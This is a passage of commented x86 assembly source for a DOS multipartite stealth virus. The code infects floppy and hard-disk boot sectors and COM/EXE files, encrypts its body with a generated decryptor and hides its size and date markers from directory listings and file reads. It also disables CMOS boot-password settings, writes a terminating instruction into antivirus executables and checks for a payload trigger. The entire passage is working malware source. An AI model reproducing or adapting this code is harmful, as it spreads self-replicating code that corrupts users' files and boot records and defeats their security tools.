                cmp     byte ptr cs:[check_by],1        ; contains disk drive
                jb      floppy_a_ret
                jz      floppy_b_ret
return_13h:
		pop	ax
                popf
                retf    2

;   status words
; value_ax2 is for floppy B:, value_ax1 is for floppy A:, while value_ax0 is
; common temporary for both.
; the value of this status word is:
;   high byte:  00 - floppy is not infected
;               01 - floppy is infected
;   low  byte:  00 - floppy has not been checked yet
;               01 - floppy has been checked
; this way the virus won't be checking each time all the things and, when
; needed, will stealth faster. of course this status words are reset each
; time a disk change is deteced.
;

floppy_b_ret:
                db      0b8h                            ; mov ax,
value_ax0       dw      101h                            ; update floppy_b status
                mov     word ptr cs:[value_ax2],ax      ; with the temp one
                jmp     short return_13h
floppy_a_ret:
                mov     ax,word ptr cs:[value_ax0]      ; update floppy_a status
                mov     word ptr cs:[value_ax1],ax      ; word with the temp one
                jmp     short return_13h
floppy_a:
		push	ax
                db      0b8h                    ; mov ax, floppy_a status word
value_ax1       dw      00h
                jmp     short check_routine
		nop
reset_status:
                mov     byte ptr cs:[value_ax0],0       ; reset status
                jmp     short pass_to_old               ; and go back
floppy_b:
		push	ax
                db      0b8h                    ; mov ax, floppy_b status word
value_ax2       dw      00h
check_routine:
                mov     word ptr cs:[value_ax0],ax
                mov     ah,16h                  ; detect disk change
                int     86h                     ; int13h
		pop	ax
                jc      reset_status            ; if disk changed, then reset
                                                ; the status and continue
                cmp     ah,2                    ; interesting function?
                jb      pass_to_old             ; (2 read, 3 write)
		cmp	ah,4
                jae     check_higher_fu
                cmp     ch,51h                  ; triing to read virus body
                je      stop_extra              ; on extra tracks?
                or      dh,dh                   ; see if pointing to floppy
                jnz     exit_fchecks            ; boot sector
                cmp     cx,1
                jne     exit_fchecks
                cmp     byte ptr cs:[value_ax0],1
                je      f_already_checked
                cmp     ah,3                    ; writing to floppy boot? leave
                je      exit_fchecks            ; them write then...

                pusha
                push    es
                push    ds
                call    check_nfect             ; check if infected
                jb      ess_bel
                call    infect_floppy           ; if not infect
                jnb     ess_bel
                mov     byte ptr ds:[value_ax0 + 1],0   ; mark as not infected
                jmp     short ess_bel2
                nop
ess_bel:
                mov     byte ptr ds:[value_ax0 + 1],1   ; this marks that an
                                                        ; infected floppy is in
ess_bel2:
                mov     byte ptr ds:[value_ax0],1       ; mark floppy as checked
                pop     ds
                pop     es
                popa

f_already_checked:
                cmp     byte ptr cs:[value_ax0 + 1],1   ; is/was floppy infected
                jne     exit_fchecks            ; if not, don't stealth

                cmp     ah,2
                je      read_fbs_stealth
		push	cx
                mov     cx,5101h                ; if was writing then update
                and     al,1                    ; the changes to saved boot
                int     86h                     ; sector
                jmp     short work_exit
		nop
read_fbs_stealth:
                int     86h                     ; execute requested read
		push	cx
		push	ax
                pushf
                mov     ax,201h                 ; but then read also the
                mov     cx,5101h                ; saved original boot sector
                int     86h
                popf
		pop	ax
work_exit:
		pop	cx
                jmp     rstatus_and_back
check_higher_fu:
                cmp     ah,5                            ; triing to format?
                jne     exit_fchecks
                mov     byte ptr cs:[value_ax0],0       ; if formatting reset
exit_fchecks:                                           ; status at all
                jmp     pass_to_old
stop_extra:
                xor     ah,ah
                jmp     rstatus_and_back

check_nfect:
                call    seg_bx_tspace
		mov	cx,2

do_read_mbr:
		push	cx
                mov     ax,201h                 ; read MBR
		mov	cl,al
		mov	dh,0
                int     86h                     ; orig int13h
		pop	cx
                loop    do_read_mbr             ; twice so we are sure it's
                jc      bad_exit                ; there. exit on error

                cmp     dl,80h                  ; on hd? if not no pt check
                jb      check_name
                mov     si,(offset temp_memory + 1beh - 10h)
                mov     cx,4                    ; on partition table

pt_search:
                add     si,10h                  ; on next partition entry
                cmp     byte ptr [si],80h       ; is bootable?
                jne     next_ptentry
                mov     al,byte ptr [si+4]      ; os code
                dec     al                      ; ok if dos w/12bit fat
                jz      check_name
                cmp     al,3                    ; ok for dos < 32mb
                jb      bad_exit                ; extended dos
                cmp     al,5                    ; and dos > 32mb
                jg      bad_exit
                jmp     short check_name
		nop
next_ptentry:
                loop    pt_search

bad_exit:
                stc                             ; carry means error
		retn
check_name:
                mov     si,offset virus_name
                mov     di,(offset temp_memory + 100h) ; where the name
                mov     cx,5                           ; should stay in boot
                cld
                repe    cmpsb                   ; see if already infected
                jz      bad_exit                ; zero flag -> it is
                clc
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
infect_mbr:
                mov     al,0adh
                out     70h,al
                in      al,71h
                push    ax

                and     al,0bfh
                out     71h,al

                mov     al,34h                  ; ami shadowing and boot pwd
                out     70h,al
                in      al,71h
		push	ax
                and     al,7fh                  ; disable it
                out     71h,al

                mov     ah,5                    ; store keystroke in kbd buffer
                mov     cx,1579h                ; 'y'
                int     16h

                call    seg_bx_tspace
                mov     ax,301h
                mov     cx,3                    ; save old MBR to 0,0,3
		mov	dx,80h
                int     86h
                jc      exit_mbrinfect

                mov     di,offset temp_memory
                mov     cx,100h                 ; some random bytes on the
                rep     stosw                   ; background

                mov     word ptr es:[bx + 1feh],0aa55h  ; valid boot marker

                mov     di,bx
                mov     si,offset generic_boot  ; copy generic boot part
                mov     cx,(offset generic_boot_end - offset generic_boot)
                rep     movsb

                mov     si,offset mbr_part      ; and mbr booting part
                mov     cx,(offset mbr_part_end - offset mbr_part)
                rep     movsb

                mov     di,(offset temp_memory + 100h)
                mov     si,offset virus_name
		mov	cl,5
                rep     movsb                   ; copy virus signature

                mov     ax,301h
		mov	cx,1
                int     86h                     ; write new enhanched MBR :)
                jc      exit_mbrinfect

                mov     cx,3                    ; virus on hd starts from 4
                call    oligo_write_fbhd
                clc

exit_mbrinfect:
                mov     al,34h                  ; ami shadowing and boot pwd
                out     70h,al
		pop	ax
                out     71h,al                  ; restore previous status

                mov     al,0adh
                out     70h,al
		pop	ax
                out     71h,al                  ; restore this as well.
		retn

infect_floppy:
                push    00h
                pop     es
                les     bx,es:[1eh * 04h]       ; point ES:BX to diskette param
                mov     ax,0a02h
                mov     dh,50h
                xchg    word ptr es:[bx+3],ax   ; set bytes per sector to 512h
                                                ; and sector per track to 0ah
                xchg    byte ptr es:[bx+7],dh   ; set gap lenght for format to
                                                ; 50h, that is the one for 5'25
                push    ax
                push    bx
                push    dx
                push    es
                call    seg_bx_tspace

                mov     ax,509h                 ; format 9 extra sector
                mov     bx,offset format_table  ; to format address field buf
                mov     cx,5101h                ; starting track
                xor     dh,dh
                int     86h
                jb      somdown

                mov     ax,301h                 ; save original boot sector
                mov     bx,offset temp_memory
                int     86h
                jb      somdown

                mov     word ptr ds:[bx],5eebh          ; jmp short to offset
                                                        ; 60h in boot

                mov     di,(offset temp_memory + 60h)   ; at offset 60h in boot
                mov     si,offset generic_boot          ; first generic boot
                mov     cx,(offset generic_boot_end - offset generic_boot)
                rep     movsb

                mov     si,offset floppy_part           ; then floppy part
                mov     cx,(offset floppy_part_end - offset floppy_part)
                rep     movsb

                mov     di,(offset temp_memory + 100h)  ; put virus name as
                mov     si,offset virus_name            ; marker too in boot
                mov     cl,05h
                rep     movsb

                mov     ax,301h                 ; write new boot sector
                mov     cx,1
                int     86h
                jb      somdown

                mov     cx,5101h                ; where it will be placed
                call    oligo_write_fbhd
somdown:
                pop     es
                pop     dx
                pop     bx
                pop     ax
                mov     word ptr es:[bx+3],ax   ; restore diskette parameters
                mov     byte ptr es:[bx+7],dh
                ret

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
oligo_write_fbhd:
; this setups the registers for writing to hd or floppy in the write_to_disk
; routine and then calls the routine that creates the decryptor and encrypts
; the virus body. after that the virus is written starting from the wanted
; sector (this is CX in input to this routine) + 1

                mov     word ptr ds:[what_call],offset write_to_disk
                mov     word ptr ds:[value_cx],cx
                mov     word ptr ds:[value_dx],dx
                mov     dx,offset real_start
                call    oligo_algo
		retn


; sets CS=DS=ES and points BX to temporary space after virus body
seg_bx_tspace:
		push	cs
		pop	es
		push	cs
		pop	ds
                mov     bx,offset temp_memory
		retn


close_file:
                mov     ah,3eh                  ; close file
                int     87h
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
chk_extsuch:
                xor     si,si
                call    get_sft
                jc      bad_fileis_np
		cmp	byte ptr es:[di+5],0
                js      bad_fileis_np
                cmp     byte ptr es:[di+10h],200d       ; file date check
                pushf
                call    check_ifclose                   ; is a close call?
                jne     check_dotcom
                test    byte ptr es:[di+2],3            ; on +2 open mode
                je      bad_fileis                      ; no 011b, dos internal
                and     byte ptr es:[di+2],0f8h
                or      byte ptr es:[di+2],2            ; make it read-write
check_dotcom:
                cmp     word ptr es:[di+28h],'OC'       ; check if .COM
                jne     check_dotexe
                cmp     byte ptr es:[di+2ah],'M'
                jne     bad_fileis
                inc     si                              ; SI = 1 for coms
                jmp     short good_exitchk
		nop
check_dotexe:
                cmp     word ptr es:[di+28h],'XE'       ; check if .EXE
                jne     bad_fileis
                cmp     byte ptr es:[di+2ah],'E'
                jne     bad_fileis
                inc     si                              ; SI = 2 for exes
		inc	si
good_exitchk:
                popf
		retn
bad_fileis:
                popf
bad_fileis_np:
                stc
		retn

dont_correct_after:
                jmp     back_inf_w24
pre_21h_exit:
                db      0b8h                    ; mov ax,
func_21h        dw      4b00h                   ; stored called int21h func
		and	ah,2
                jnz     dont_correct_after      ; if function different than
                pop     di                      ; 3dh and 6ch then just
                pop     si                      ; restore int24h header and
                pop     dx                      ; exit, else sft size
                pop     cx                      ; stealth
		pop	bx
		pop	ax
		pop	ds
		pop	es
                int     87h                     ; call original int21h
                jc      error_21hl

                pushf
		push	bx
		mov	bx,ax
                call    check_nostealth         ; if zip or backup running
                jc      no_stealth_1            ; don't stealth
		push	es
		push	di
                call    get_sft                 ; get file sft
                or      byte ptr es:[di+6],4    ; mark in SFT that size has
                                                ; already been stealthed using
                                                ; unused bit
                call    stlth_fsize_sft         ; stealth file size in sft
		pop	di
		pop	es
no_stealth_1:
		pop	bx
                popf
error_21hl:
                call    change_24h
                jmp     return_from_int
exit_r_stealth:
                int     87h                     ; execute the original int 21h
                pushf
		push	ax
exit_read_stealth:
		pop	ax
                popf
		pop	si
		pop	di
		pop	es
                jmp     return_from_int

read_from_file:
		push	es
		push	di
		push	si
                call    chk_extsuch             ; check if seems a file good to
                jc      exit_r_stealth          ; infect by extension and such
                or      si,si
                jz      exit_r_stealth
                call    check_nostealth         ; check if zip or backup running
                jc      exit_r_stealth
                test    byte ptr es:[di+6],4    ; has been size already stlthed
                jnz     already_sft             ; before?
                call    stlth_fsize_sft         ; if not stealth it
                or      byte ptr es:[di+6],4    ; and sign as stlthed in sft
already_sft:
                les     di,dword ptr es:[di+15h]        ; current offset in file
                mov     word ptr cs:[ax_setvalue],di
                int     87h                     ; execute the read
                pushf
		push	ax
                jc      exit_read_stealth       ; exit if read unsucesfull
                cmp     di,1ah                  ; if not reading the header then
                jae     exit_read_stealth       ; np and we can exit

                mov     ax,es                   ; ES is high word of offset in
                or      ax,ax                   ; file. if <> 0 then it isn't
                jnz     exit_read_stealth       ; on header for sure
                jcxz    exit_read_stealth       ; if 0 bytes readed then exit
                                                ; as well

; if we are here then the header of an infected file is going to be readed, so
; we must restore the original bytes
                mov     ah,0dh                  ; disk reset
                int     87h

                call    get_sft
		push	es
                les     ax,dword ptr es:[di+15h]        ; current off in file
		mov	si,es
		pop	es
                push    ax                      ; save current offset on stack
		push	si
		push	bx
		push	es
                les     ax,dword ptr es:[di+11h]        ; file size
                mov     si,es                           ; SI:AX has filesize
		pop	es
                mov     bx,ax
                and     ax,0fh                  ; calculate bytes been added
                neg     al                      ; to make (lenght MOD 10h = 0)
		add	al,10h
                and     al,0fh
		add	ax,bx
		cmp	ax,bx
                jae     n_adjust_lng
                inc     si                      ; if < then obviously it was a
                                                ; wrap around, so inc the higher
                                                ; word
n_adjust_lng:
		pop	bx
                add     word ptr es:[di+11h],virus_lenght
                adc     word ptr es:[di+13h],0  ; add to stealthed size so
                push    ds                      ; we can actually read the
                push    cx                      ; virus
		push	dx
		push	ax
		push	si
		push	cs
		pop	ds

                mov     cx,si
		mov	dx,ax
                xor     al,al                   ; move to virus start
                call    movefile

                mov     ah,3fh                  ; read first 72h bytes of
                mov     cx,72h                  ; virus, this is the decryptor
                mov     dx,offset temp_memory
                int     87h

                push    bx
                mov     cx,5                    ; decryption instruction is
                                                ; the fifth block in the
                                                ; decryptor
                mov     bl,0fdh

find_5_block:
		add	bl,5
                add     bl,[bx + (offset temp_memory - 1)]      ; jump through
                                                                ; block jumps
                loop    find_5_block

                add     bx,dx                           ; add base
                mov     ax,word ptr [bx]
                not     ax                              ; method is not-ted
                and     ah,0fch
                mov     word ptr ds:[enc_ins_b],ax      ; decryption method
                mov     al,byte ptr ds:[bx+2]
                mov     byte ptr ds:[enc_val_b],al      ; decryption value
		pop	bx
                jmp     short preffo
preffo:
                xor     al,al
		pop	cx
		pop	dx
                add     dx,offset original_file         ; file pointer to
                adc     cx,0                    ; stored file bytes
                call    movefile                ; move there

                mov     ah,3fh                  ; read saved bytes from file
                mov     cx,1ah                  ; 1ah bytes
                mov     dx,offset original_file
                int     87h
		mov	si,dx
                mov     cx,1ah

decrypt_original:
enc_ins_b       db      80h,34h                 ; decrypt original bytes of
enc_val_b       db      0c0h                    ; file
		inc	si
                loop    decrypt_original

		pop	dx
		pop	cx
		pop	ds
                call    stlth_fsize_sft         ; stealth virus size in SFT

                pop     ax
                mov     es:[di+17h],ax                  ; restore current
                pop     ax                              ; offset in file
		mov	es:[di+15h],ax

                push    ds
		push	cx
                db      0b8h
ax_setvalue     dw      1400h                   ; saved offset in file user
                                                ; wanted to read from
                mov     di,dx
		add	di,ax
                mov     si,offset original_file
                add     si,ax
		push	ds
		pop	es
		push	cs
		pop	ds
                mov     ax,1ah                  ; how many bytes virus changed
                sub     ax,word ptr cs:[ax_setvalue]    ; calculate how many
                                                        ; we must stealth
                cmp     cx,ax                   ; cx has number of bytes readed
                jb      no_more_tr              ; if readed < how many to stlth
                mov     cx,ax                   ; then proceed, else stealth all
no_more_tr:                                     ; of them
                cld
                rep     movsb                   ; copy needed amount of original
                pop     cx                      ; bytes there
		pop	ds
                jmp     exit_read_stealth
back_j_old21h:
                jmp     chain_old21h
                jmp     return_from_int

get_set_date:
		push	es
		push	si
		push	di
                call    chk_extsuch             ; see if seems infectable
		pop	di
		pop	si
		pop	es
                jc      back_j_old21h
                cmp     al,1                    ; just get/set file date func
                ja      back_j_old21h
                jc      isa_getdate
		push	dx
                add     dh,200d                 ; add the virus 200 years when
                int     87h                     ; setting date
		pop	dx
                jmp     return_from_int
isa_getdate:
                int     87h                     ; get date
                pushf
                sub     dh,200d                 ; and sub the 200 years
                popf
                jmp     return_from_int

ff_fn_stealth:
; this is called at 11h/12h and 4eh/4fh functions of int21h
                call    check_nostealth         ; if zip or backup running
                jc      back_j_old21h           ; then don't stealth
		push	es
		push	bx
                clc
                int     87h                             ; execute the call
                jc      exit_err_ff                     ; C if error (for 4e/4f)
                or      al,al                           ; AL <> 0 if error
                jnz     exit_err_ff                     ; (for 11h/12h)

                push    ax
                mov     ah,2fh                          ; get dta
                int     87h

                cmp     byte ptr cs:[func_21h + 1],12h  ; 21h fnct. 11h/12h?
		pop	ax
		push	si
                jbe     corr_off1112                    ; correct the offsets
                add     bx,19h                          ; to size and date
                mov     si,bx                           ; depending on the
                inc     si                              ; function call
correct_dta:
                cmp     byte ptr es:[bx],200d           ; check date if file
                jb      notinfected                     ; is infected
                sub     byte ptr es:[bx],200d           ; sub years
                sub     word ptr es:[si],virus_lenght   ; and virus size
		sbb	word ptr es:[si+2],0
notinfected:
		pop	si
                xor     al,al                   ; anyway make it succesfull
exit_err_ff:
                pop     bx                      ; restore and return back
		pop	es
                jmp     short return_from_int
		nop
corr_off1112:
                add     bx,21h                  ; offset to years for 11h/12h
		mov	si,bx
                add     si,3                    ; offset to file length
                jmp     short correct_dta

int21h_handler:
                mov     word ptr cs:[func_21h],ax
                pushf
                call    check_payload

                cmp     ah,4eh                  ; findfirst dta
                je      ff_fn_stealth
                cmp     ah,4fh                  ; findnext dta
                je      ff_fn_stealth

                cmp     ah,11h                  ; findfirst fcb
                je      ff_fn_stealth
                cmp     ah,12h                  ; findnext fcb
                je      ff_fn_stealth

                cmp     ah,3fh                  ; read from file
                je      read_from_file_jj
                cmp     ah,57h                  ; get/set file date
                je      get_set_date_jj

                cmp     ah,4bh                  ; exec
                je      could_infect
                cmp     ah,3dh                  ; open file
                je      could_infect
                cmp     ah,6ch                  ; extended open file
                je      could_infect
                cmp     ah,43h                  ; get/set file attrib
                je      could_infect
                cmp     ah,3eh                  ; close file
                je      could_infect
chain_old21h:
                popf
                db      0eah                    ; jmp far ptr
old_int21h      dw      40F8h, 19h

return_from_int:
		inc	sp
		inc	sp
                retf    2

get_set_date_jj:
                jmp     get_set_date

read_from_file_jj:
                jmp     read_from_file
exit_wcch:
                jmp     bf_close_exit
could_infect:
		push	es
		push	ds
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
                cmp     ah,6ch                  ; extended open?
                jne     not_ext_open
                and     dl,2                    ; open/replace if exist?
                jz      ok_extended             ; if not continue
                jmp     back_inf
infect_file:
                mov     ax,3d00h                ; open file
                int     87h
                jc      not_opened_ext
                call    chk_extsuch             ; check extension and if isn't
                jnc     exit_wcch               ; already infected with years
                call    close_file
                jmp     back_inf_w24
not_opened_ext:
                jmp     back_inf_w24
ok_extended:
		mov	dx,si
not_ext_open:
		push	cs
		pop	es
		push	ds
                xor     si,si
                mov     ds,si                   ; to ivt
                mov     di,offset the_24h
                mov     si,24h*04h              ; to int24h handler
                cld
                cli
                movsw                           ; save int24h handler
                movsw
                mov     word ptr [si-4],offset hnd_24h  ; and set virus one
                mov     word ptr [si-2],cs              ; to virus segment
                sti

                pop     ds
                cmp     ah,3eh                  ; close?
		mov	ax,bx
                jz      not_windoze

                mov     word ptr cs:[fname_dx],dx
                mov     word ptr cs:[fname_ds],ds
                mov     ax,3d00h                ; open the file in r/o
                int     87h
                jc      not_opened_ext

                mov     bx,ax
                call    close_file
                mov     ax,4300h                ; get attribs and save
                int     87h
                mov     word ptr cs:[file_attrib],cx

                mov     ax,4301h
                xor     cx,cx                   ; delete attribs
                int     87h
                jc      infect_file             ; error here? retry from start

                mov     ax,3d02h                ; open for rw
                int     87h

                cmp     byte ptr cs:[func_21h + 1],4bh  ; was executing?
                jne     not_windoze

                mov     bx,ax
                call    get_sft
                cmp     word ptr es:[di+20h],'IW'       ; windows executing?
                jne     not_windoze
                cmp     word ptr es:[di+22h],' N'
                jne     not_windoze
		push	bp
		mov	bp,sp
                mov     ds,word ptr [bp+10h]    ; on exec parameter block
                mov     si,word ptr [bp+0ah]
		pop	bp
                lds     si,dword ptr [si+2]
                xor     bx,bx
                mov     bl,byte ptr [si]        ; lenght of cmdline
                add     byte ptr [si],5         ; correct lenght of cmdline
		add	si,bx
                inc     si                      ; after original cmdline
                mov     word ptr [si],'D/'      ; so append /D:FC + cr
                mov     word ptr [si+2],'F:'
                mov     word ptr [si+4],0d43h
not_windoze:
		push	cs
		pop	ds
                mov     bx,ax                   ; file handle
                mov     word ptr ds:[file_handle],ax
                call    chk_extsuch
                jnc     bf_close_exit
                or      si,si
                jz      bad_file_xit

                mov     ax,5700h                ; get file time/date
                int     87h
                mov     word ptr ds:[file_time],cx      ; save time/date
                mov     word ptr ds:[file_date],dx

                call    check_fname

                mov     ah,3fh                  ; read from file
                mov     cx,1ch
                mov     dx,offset original_file ; 1ch from file head
		mov	di,dx
                int     87h
                jc      bad_file_xit

                mov     al,2                    ; goto end of file
                call    move_cxdx0              ; gives in DX:AX length

                mov     cx,word ptr [di]        ; first two bytes
                cmp     cx,'MZ'                 ; exe?
                je      is_an_exe
                cmp     cx,'ZM'                 ; exe?
                je      is_an_exe
                cmp     cx,'EL'
                je      bad_file_xit
                cmp     cx,'EN'
                je      bad_file_xit
                or      dx,dx                   ; > 64k is ok
                jnz     bad_file_xit
                cmp     ax,60000d               ; not 60000 > 64k bad for coms
                ja      bad_file_xit
                cmp     ax,1eh                  ; not too small even
                jb      bad_file_xit
                jmp     com_infect_part
bad_file_xit:
                jmp     closef_exit
is_a_close2:
                jmp     back_inf_w24
bf_close_exit:
                call    check_ifclose
                jz      is_a_close2             ; close if needed and exit
                call    close_file
                jmp     pre_21h_exit
is_an_exe:
                push    ax
		push	dx
		mov	cx,200h
		div	cx			; ax,dx rem=dx:ax/reg
                cmp     word ptr [di+2],dx
		pop	dx
		pop	ax
                jnz     bad_file_xit
                cmp     word ptr [di+18h],40h   ; probable PE or NE
                jae     bad_file_xit
                cmp     byte ptr [di+1Ah],0     ; overlay
                jne     bad_file_xit
		push	ax
		push	dx
                mov     si,word ptr [di+8]      ; header paras
                shl     si,04h                  ; to bytes
                sub     ax,si                   ; DX:AX now image size
                sbb     dx,0
                call    align_file10h
                push    dx
                push    ax
                push    di
                mov     dx,offset real_start    ; from where to encrypt
                mov     byte ptr cs:[com_or_exe],1
                mov     word ptr ds:[what_call],offset write_to_file
                call    oligo_algo
                pop     di
                pop     ax
                pop     dx
                shr     ax,4
                shl     dx,0ch
                or      dx,ax
                xor     ax,ax
                mov     word ptr ds:[di+14h],ax         ; new cs:ip
                mov     word ptr ds:[di+16h],dx
                adc     ah,14h
                adc     al,dl
                mov     word ptr ds:[di+10h],ax         ; new ss:sp
                mov     word ptr ds:[di+0eh],dx
                pop     dx
                pop     ax

                add     ax,virus_lenght
                adc     dx,0
                mov     cx,200h
                div     cx
                inc     ax
                mov     word ptr ds:[di+02h],dx ; new lenght in 200h pages
                mov     word ptr ds:[di+04h],ax ; and the modulus

                call    movetostart             ; move to start of file
                mov     cx,1ah                  ; header lenght to rewrite
                mov     dx,di
                jmp     short writehead
                nop
check_ifclose:
                cmp     byte ptr cs:[func_21h + 1],3eh  ; was a close file?
		retn

closef_exit:
                call    check_ifclose           ; was a close function?
                jz      back_inf_w24            ; if so jump
                call    close_file              ; else close the file and
                call    rest_attrib             ; restore file attributes
                jmp     short back_inf_w24
		nop
back_inf_w24:
                call    change_24h
back_inf:
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	ds
		pop	es
                jmp     chain_old21h
com_infect_part:
                mov     byte ptr [com_or_exe],dl
                call    align_file10h
		push	ax
                add     ax,(offset real_start + 100h)   ; encrypted from
		mov	dx,ax
                mov     word ptr ds:[what_call],offset write_to_file
                call    oligo_algo
                call    movetostart
		pop	cx
                sub     cx,3                    ; - jmp lenght
                mov     si,offset temp_memory
		mov	dx,si
                mov     byte ptr [si],0e8h      ; code the call to the virus
		inc	si
                mov     word ptr [si],cx
                mov     cx,3                    ; three bytes to write
writehead:
                mov     ah,40h                  ; write
                int     87h
                jc      closef_exit
                mov     ah,0dh                  ; disk reset
                int     87h

                add     word ptr ds:[file_date + 1],200d        ; add 200 years
                                                                ; as marker
; seems buggy, but it works since the high byte is zero, anyway it should
; be            add     word ptr ds:[file_date],200d
; or            add     byte ptr ds:[file_date + 1],200d

                call    check_ifclose
                jne     not_close_func
                call    rest_time                       ; if close just
                jmp     pre_21h_exit                    ; restore time
not_close_func:
                call    close_file                      ; else close file
                call    close_wtime                     ; and restore time
                call    rest_attrib                     ; and attributes
                jmp     pre_21h_exit

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
rest_attrib:
                lds     dx,dword ptr cs:[fname_dx]      ; ds:dx = filename
                mov     ax,4301h                ; chmod
                db      0b9h                    ; mov cx,
file_attrib     dw      20h
                int     87h
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
close_wtime:
                lds     dx,dword ptr cs:[fname_dx]      ; ds:dx = filename
                mov     ax,3d00h                ; open in readonly
                int     87h
		mov	bx,ax
                call    rest_time               ; restore time
                call    close_file              ; and close again
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
rest_time:
                mov     ax,5701h                ; set file date and time

                db      0b9h                    ; mov cx,
file_time       dw      1810h

                db      0bah                    ; mov dx,
file_date       dw      2397h

                int     87h
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
align_file10h:
; on entry DX:AX lenght
; on exit DX:AX lenght aligned to 10h
                mov     cx,ax
                and     ax,0fh                  ; calculate bytes to make
                neg     ax                      ; the file aligned to 10h
		add	ax,10h
                and     ax,0fh
                mov     byte ptr cs:[value_cl],al       ; store that value
		add	ax,cx
		adc	dx,0
		push	ax
                mov     ah,40h                  ; write the alignment
                xor     ch,ch                   ; bytes
                mov     cl,byte ptr cs:[value_cl]
                int     87h
		pop	ax
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
movetostart:
                xor     al,al
move_cxdx0:
                xor     cx,cx
                xor     dx,dx
movefile:
                mov     ah,42h                  ; lseek function
                int     87h
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
get_sft:
		push	bx
		push	ax
                mov     ax,1220h                ; get jft entry
                int     2Fh
                jc      error_sftjft

                mov     ax,1216h                ; get sft entry
		mov	bl,es:[di]
                int     2Fh
                jc      error_sftjft
                clc
error_sftjft:
		pop	ax
		pop	bx
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
stlth_fsize_sft:
                sub     word ptr es:[di+11h],virus_lenght
		sbb	word ptr es:[di+13h],0
		retn

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

change_24h:
		push	ds
		push	es
		push	di
		push	si
                xor     di,di
                mov     es,di                   ; to ivt zone
		push	cs
		pop	ds
                mov     si,offset the_24h
                mov     di,24h*04               ; to int24h table
                cld
                cli
                movsw                           ; restore int24h handler
                movsw
                sti
		pop	si
		pop	di
		pop	es
		pop	ds
		retn

hnd_24h:
		mov	al,3
                stc
                retf    2

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_fname:
                cld
                push    di                      ; DI on SFT
                add     di,20h                  ; offset of filename in SFT
                mov     si,offset av_strings    ; to strings with av and such
                xor     ch,ch
                mov     cl,byte ptr [si]        ; get lenght of this string
		inc	si
		push	di
		push	cx
		push	si
                repe    cmpsb                   ; compare substring
		pop	si
		pop	cx
                je      found_string

                add     si,cx                   ; on next string
		pop	di
                mov     ah,4                    ; get system date
                int     1ah

                mov     dl,dh                   ; dl <- month in bcd
                mov     dh,cl                   ; dh <- year in bcd
                cmp     dx,9606h
                jb      exit_loops              ; jump if < june 1996
                xor     ch,ch
loop_strings:
		push	di
                mov     cl,byte ptr [si]        ; next string lenght
		inc	si
                jcxz    founded_l_0             ; all the AV strings done
		push	cx
		push	si
                repe    cmpsb                   ; compare substrings
		pop	si
		pop	cx
                je      found_string            ; if equal then exit and notice
		add	si,cx
		pop	di
                jmp     short loop_strings      ; loop through all substrings
founded_l_0:
		pop	di
                cmp     byte ptr ds:[payload_byte],0
                je      exit_loops
                cmp     byte ptr [si],0         ; continue to DOO, WOLF, QUA
                jne     loop_strings            ; too or check if real end
exit_loops:
		pop	di
		retn
found_string:
		pop	di
		pop	di
		pop	si

                mov     si,offset temp_memory
                mov     word ptr [si],20cdh     ; int20h opcode
                mov     dx,si
                mov     ah,40h                  ; write to file
                mov     cx,2                    ; write two bytes
                int     87h

                call    close_file
                call    close_wtime
                call    rest_attrib
		push	cs
		pop	ds
                cmp     byte ptr ds:[func_21h + 1],4bh  ; exec
                jne     not_execfnc
		mov	di,sp
                mov     word ptr ss:[di+0ah],4bffh      ; if exec function then
                                                        ; change AL to ffh
not_execfnc:
                jmp     back_inf_w24


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_nostealth:
; this checks if PKZIP or a backup tool (*BA*) are running. if so it will
; set carry and the virus will disable its stealth routines.
		push	ax
		push	bx
		push	si
		push	ds

                mov     ah,62h                  ; get psp
                int     87h
		dec	bx
                mov     ds,bx                   ; ds = mcb
                mov     si,0ah                  ; program name + 02h
                cmp     word ptr [si],'IZ'      ; pkZIp running?
                je      disable_it
                cmp     word ptr [si],'AB'      ; msBAckup or such running?
                je      disable_it
                stc
disable_it:
                cmc
		pop	ds
		pop	si
		pop	bx
		pop	ax
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_payload:
		push	ds
                pusha
                push    cs
                pop     ds
                mov     al,byte ptr ds:[payload_byte]   ; check payload byte
                or      al,al                   ; if 0 then no activation
                jne     dododo                  ; else can be from 1 to 8
                jmp     fast_retu               ; just go back
